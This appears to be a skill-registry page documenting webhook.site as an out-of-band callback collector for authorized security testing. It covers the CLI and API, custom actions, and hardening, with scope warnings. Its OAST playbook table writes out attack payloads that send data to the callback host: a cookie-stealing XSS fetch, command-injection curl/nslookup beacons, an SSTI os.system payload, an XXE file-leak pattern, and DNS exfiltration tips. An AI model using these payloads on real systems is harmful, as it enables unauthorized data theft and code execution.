webhook-site
Auth/lab ref: webhook.site: hosted out-of-band application security testing (OAST) collector - instantly generates a unique HTTPS URL plus DNSHook subdomain that records every HTTP request and DNS query, with a Web UI.
v2026.11.13-21cd5682 instalações+2 em 7 dias39 EstrelasWebsincronizado há 10 horas
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$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install aeondave/webhook-siteGrava em ~/.notholy/skills depois de conferir a assinatura e o SHA-256.
AssinaturaAssinado, ed25519
Pacote9287c346…96c46fce
9287c346624c…e67996c46fce2 arquivos · 8.6 KBVarreduraAlto31 achados
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Fontegithub.com/AeonDave/malskill/tree/main/offensive-tools/network/webhook-site@21cd568
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Hosted OAST collector + request inspector. Visiting webhook.site mints a unique token of the form https://webhook.site/<uuid>; every HTTP request and DNS query (via the matching *.dnshook.site subdomain) to that token is recorded with full headers, body, source IP, geolocation, and timing, and surfaced in a Web UI, JSON API, and (with whcli) a CLI stream that can forward or execute on each event.
Use it as the public callback endpoint for any blind vulnerability class, OAuth/SAML round-trip inspection, webhook integration debugging, or a temporary HTTPS relay into a local service during authorized engagements.
Scope Guard
- Confirm authorization in writing before pointing any target application, OAuth flow, or callback at webhook.site. Captured requests can contain tokens, cookies, PII, and credentials.
- Treat the token URL like a secret — anyone who knows it can read every request. Use the "Protect with password" / "Login required" features on paid plans for sensitive captures.
- For long-running or multi-operator engagements, use a paid token (persistent, higher limits) or self-host the open-source
webhook.siteserver on owned infrastructure. - Free anonymous tokens expire after 7 days of inactivity and cap at 100 requests / 10 MB body — fine for OAST PoCs, not for sustained collection.
- Webhook.site is third-party SaaS: the operator (Simon Fredsted / webhook.site GmbH) sees every payload. Do not route customer production traffic, regulated data, or live credentials through it without a contractual agreement.
- For DNS exfil that must not transit a third party, prefer self-hosted
interactshor an authoritative server you control.
When to Pick webhook.site
| Need | Pick |
|---|---|
| HTTPS endpoint + DNS subdomain, full request UI, < 30 s setup | webhook.site |
| Multi-protocol OAST (HTTP, DNS, SMTP, LDAP), self-hosted | interactsh (oast.pro / self-host) |
| XSS-only blind callback with screenshot + DOM | XSS Hunter (xsshunter.com / self-host) |
| Raw TCP listener for custom protocols | bore, ncat -lkvnp, custom Python |
| HTTPS tunnel to a real local web app with debugger | pinggy, ngrok, cloudflared |
| Persistent C2 channel | Dedicated C2 framework — webhook.site is not stealthy and not designed for it |
Concepts
- Token: a UUID that owns a callback URL
https://webhook.site/<uuid>. Created automatically when you open the homepage in a browser, or programmatically viaPOST /token. - DNSHook: every token has a matching
<id>.dnshook.sitesubdomain (<id>derived from the UUID). Any DNS query to<sub>.<id>.dnshook.siteis captured. - Email: every token also has
<id>@email.webhook.sitefor inbound email capture. - Custom Actions (paid): per-token rules that modify the response, forward the request elsewhere, transform the body, or conditionally branch. Effectively a tiny serverless dataflow over the captured traffic.
- API key: a per-account secret sent as the
Api-KeyHTTP header. Letswhcliand scripts create tokens, list/read requests, manage custom actions, and forward without anonymous rate limits. - Whitelist IPs: outbound traffic from webhook.site (and Custom Action forwards) originates from
178.63.67.106,178.63.67.153,2a01:4f8:121:114d::/64,2a01:4f8:121:11a5::/64. Open these on your target firewall when forwarding from webhook.site into an internal collector.
Quick Starts (Web UI)
- Open
https://webhook.site→ page is now bound to a new token URL shown at the top. - Trigger the callback (paste the URL into the target form, payload, OAuth
redirect_uri, SSRF probe, etc.). - Inspect each captured request in the left pane: method, headers, raw + parsed body, source IP, country, user agent, timing.
- Use Edit to change the default 200 response (status code, headers, body, content-type, delay) when the target expects something specific.
- Use Copy for the unique URL,
<id>.dnshook.sitehost, or<id>@email.webhook.siteaddress. - Optional: "Login required" on the token page to gate UI access (paid).
Quick Starts (CLI — whcli)
# Install via Node (preferred for `forward`/`exec`)
npm install -g whcli
# Or via Docker
docker run --rm -it ghcr.io/webhooksite/whcli:latest --help
# Stream a token to the terminal
whcli forward --token=<UUID>
# Forward every captured request to a local web service
whcli forward --token=<UUID> --target=http://127.0.0.1:8080
# Forward only requests whose query string matches ?op=cb
whcli forward --token=<UUID> --target=http://127.0.0.1:8080 --query='op=cb'
# Run a local command per request (the raw request body is piped to stdin)
whcli exec --token=<UUID> --command='/usr/local/bin/handle.sh'
# Auth (paid plans / private tokens)
export WH_API_KEY='...'
whcli forward --token=<UUID> --target=http://127.0.0.1:8080whcli keeps an HTTP long-poll / websocket open against https://webhook.site and replays every captured event locally — turning a public token into a real local listener without exposing your machine.
Quick Starts (JSON API)
Base URL: https://webhook.site. Authenticate scripted access with Api-Key: <YOUR_KEY>.
# Create a new token (returns JSON with uuid, alias, default-content, etc.)
curl -s -H 'Api-Key: '"$WH_API_KEY" -H 'Content-Type: application/json' \
-d '{"default_status":200,"default_content":"ok","default_content_type":"text/plain"}' \
https://webhook.site/token | jq .uuid
# List captured requests (paginated, newest first)
curl -s -H 'Api-Key: '"$WH_API_KEY" \
"https://webhook.site/token/<UUID>/requests?sorting=newest&per_page=50" | jq '.data[] | {ip,method,url,query}'
# Read one request's raw body
curl -s -H 'Api-Key: '"$WH_API_KEY" \
"https://webhook.site/token/<UUID>/request/<REQ_UUID>/raw"
# Delete all requests for a token
curl -s -X DELETE -H 'Api-Key: '"$WH_API_KEY" \
"https://webhook.site/token/<UUID>/request"Body size limit: 10 MB per request (free); contact provider for paid tier limits.
OAST Playbook
The point of webhook.site is to confirm "did the target side-effect actually fire". Pick the channel that the vulnerability class can reach.
| Vulnerability | Channel | Payload pattern |
|---|---|---|
| Blind SSRF | HTTP | http://<UUID>.webhook.site/ssrf-probe?id=<MARKER> or https://webhook.site/<UUID>?via=ssrf |
| Blind XXE (HTTP egress) | HTTP via external DTD | DTD on attacker server referencing http://webhook.site/<UUID>/?leak=&file; |
| Blind XXE (DNS only) | DNSHook | DTD that triggers DNS resolution of <MARKER>.<id>.dnshook.site |
| Blind RCE / cmd injection | HTTP + DNS | curl https://webhook.site/<UUID>/$(whoami) (HTTP) or nslookup $(id -u).<id>.dnshook.site (DNS — works through restrictive egress) |
| Blind XSS | HTTP fetch beacon |
<script>fetch('https://webhook.site/<UUID>/x?u='+document.cookie)</script> (use XSS Hunter for richer DOM capture) |
| OAuth / SAML redirect handling | HTTP | Set redirect_uri / RelayState / ACS URL to the token URL, inspect query/body for tokens. |
| SMTP / mail callback | Email alias | Trigger app to send mail to <id>@email.webhook.site. |
| Template / SSTI sanity check | HTTP | {{ ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['__import__']('os').system('curl -s https://webhook.site/<UUID>?ok') }} (lab-style payload only). |
| Webhook integration debugging | HTTP | Point the third-party app's outbound webhook at the token URL and inspect headers/signature. |
Tips:
- Encode a unique marker per probe (
?id=<host>-<param>-<timestamp>) so multi-target campaigns can attribute callbacks. - DNS exfil: chunk data with base32 (DNS-safe) into labels, max 63 chars each, max 253 total:
<chunk>.<chunk>.<id>.dnshook.site. - Use Custom Actions to auto-forward only callbacks matching a query/header pattern to your internal collector, ignoring scanner noise.
Custom Actions (Paid)
Per-token rules evaluated on every inbound request. Useful primitives:
- Set response — return a specific status / headers / body to coerce the target into a follow-up request (e.g. 302 redirect chain for OAuth abuse, JSON shape for webhook contract tests).
- Forward — relay the request to an internal URL (honor the webhook.site outbound IP whitelist). Effectively turns the token into a public-facing reverse proxy.
- Modify — rewrite body / headers / URL via templating before forwarding.
- Conditional — branch on request properties (method, header, query, JSON path) so the same token serves multiple workflows.
- Stop — short-circuit further action evaluation.
Combine actions to build small dataflow pipelines (e.g. "if X-Phish-Token header present, forward to internal collector; else return 200"). For complex transforms prefer whcli forward --target to a local service you fully control.
Hardening Checklist
- Use a per-engagement token; rotate after the engagement to invalidate any payloads that escaped scope.
- Set a non-trivial
default_contentand content-type — some targets behave differently when the callback returns HTML vs JSON vs empty. - On paid plans, enable "Login required" or password-protect the token before sending the URL to anyone outside the operator team.
- When forwarding to internal services (Custom Actions or
whcli forward), require anApi-Key-style shared header so only webhook.site traffic is honored. - Open OS firewall rules only for the webhook.site source IPs (
178.63.67.106,178.63.67.153,2a01:4f8:121:114d::/64,2a01:4f8:121:11a5::/64) on the internal collector side. - For high-stakes captures (production credentials, regulated data), self-host the open-source
webhook.siteserver or useinteractshon owned infrastructure. - Treat captured bodies as evidence: export via API into the engagement ticket, then purge the token (
DELETE /token/<UUID>/request).
Troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
| Callback never appears in UI | Token URL typo, target egress blocked, payload mis-encoded. | Curl the URL from your own box; check *.dnshook.site for DNS-only egress. |
| Request body truncated / empty | 10 MB cap exceeded, or chunked encoding the proxy stripped. | Drop large fields, or use whcli forward to a local sink without the cap. |
| Token returns 429 / "rate limit" | Free anonymous token hit the 100-request cap. | Upgrade to a paid token, or rotate tokens per probe. |
whcli forward reconnects every few seconds |
Listen timeout or websocket drop; expected behavior. | Set WH_LISTEN_TIMEOUT higher; the CLI auto-resumes. |
| Custom Action forward never reaches internal host | Firewall blocks webhook.site outbound IPs. | Allow the published IPv4/IPv6 ranges, or move to whcli forward originating from your own host. |
| DNSHook captures nothing | Target resolver caches NXDOMAIN, or only egress is HTTP. | Use a unique sub-label per probe to bust caches; for HTTP-only egress switch the probe to a https://webhook.site/<UUID>/... URL. |
| Captured headers missing original client IP | A reverse proxy in front of the target rewrote X-Forwarded-For. |
Look at client_ip field in the API; cross-reference with target access logs. |
Resources
| File | When to load |
|---|---|
references/usage-matrix.md |
Full whcli flag matrix, JSON API endpoint reference, OAST payload bank per vulnerability class, Custom Action recipes, side-by-side comparison vs interactsh / XSS Hunter / RequestBin / bore / pinggy. |
Arquivos desta versão
references/19.7 KB
- usage-matrix.md9.7 KB
- SKILL.md11.8 KB
Permissões
| Permissão | Declarada | Encontrada na varredura |
|---|---|---|
| Lê arquivos | Sim | Sim |
| Grava arquivos | Sim | Sim |
| Roda comandos no shell | Sim | Sim |
| Usa a rede | Sim | Sim |
| Usa conectores | Não | Não |
| Controla um navegador | Não | Não |
Achados da varredura
Revisado em 13 de nov. de 2026
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Uma varredura limpa reduz o risco, mas não prova que o pacote é seguro. Leia o que você instala.
| Versão | Publicada em | Commit | SHA-256 | Assinatura | Mudança de permissão |
|---|---|---|---|---|---|
| v2026.11.13-21cd568 | 13 de nov. de 2026 | 21cd568 | 9287c346 | Assinada | – |
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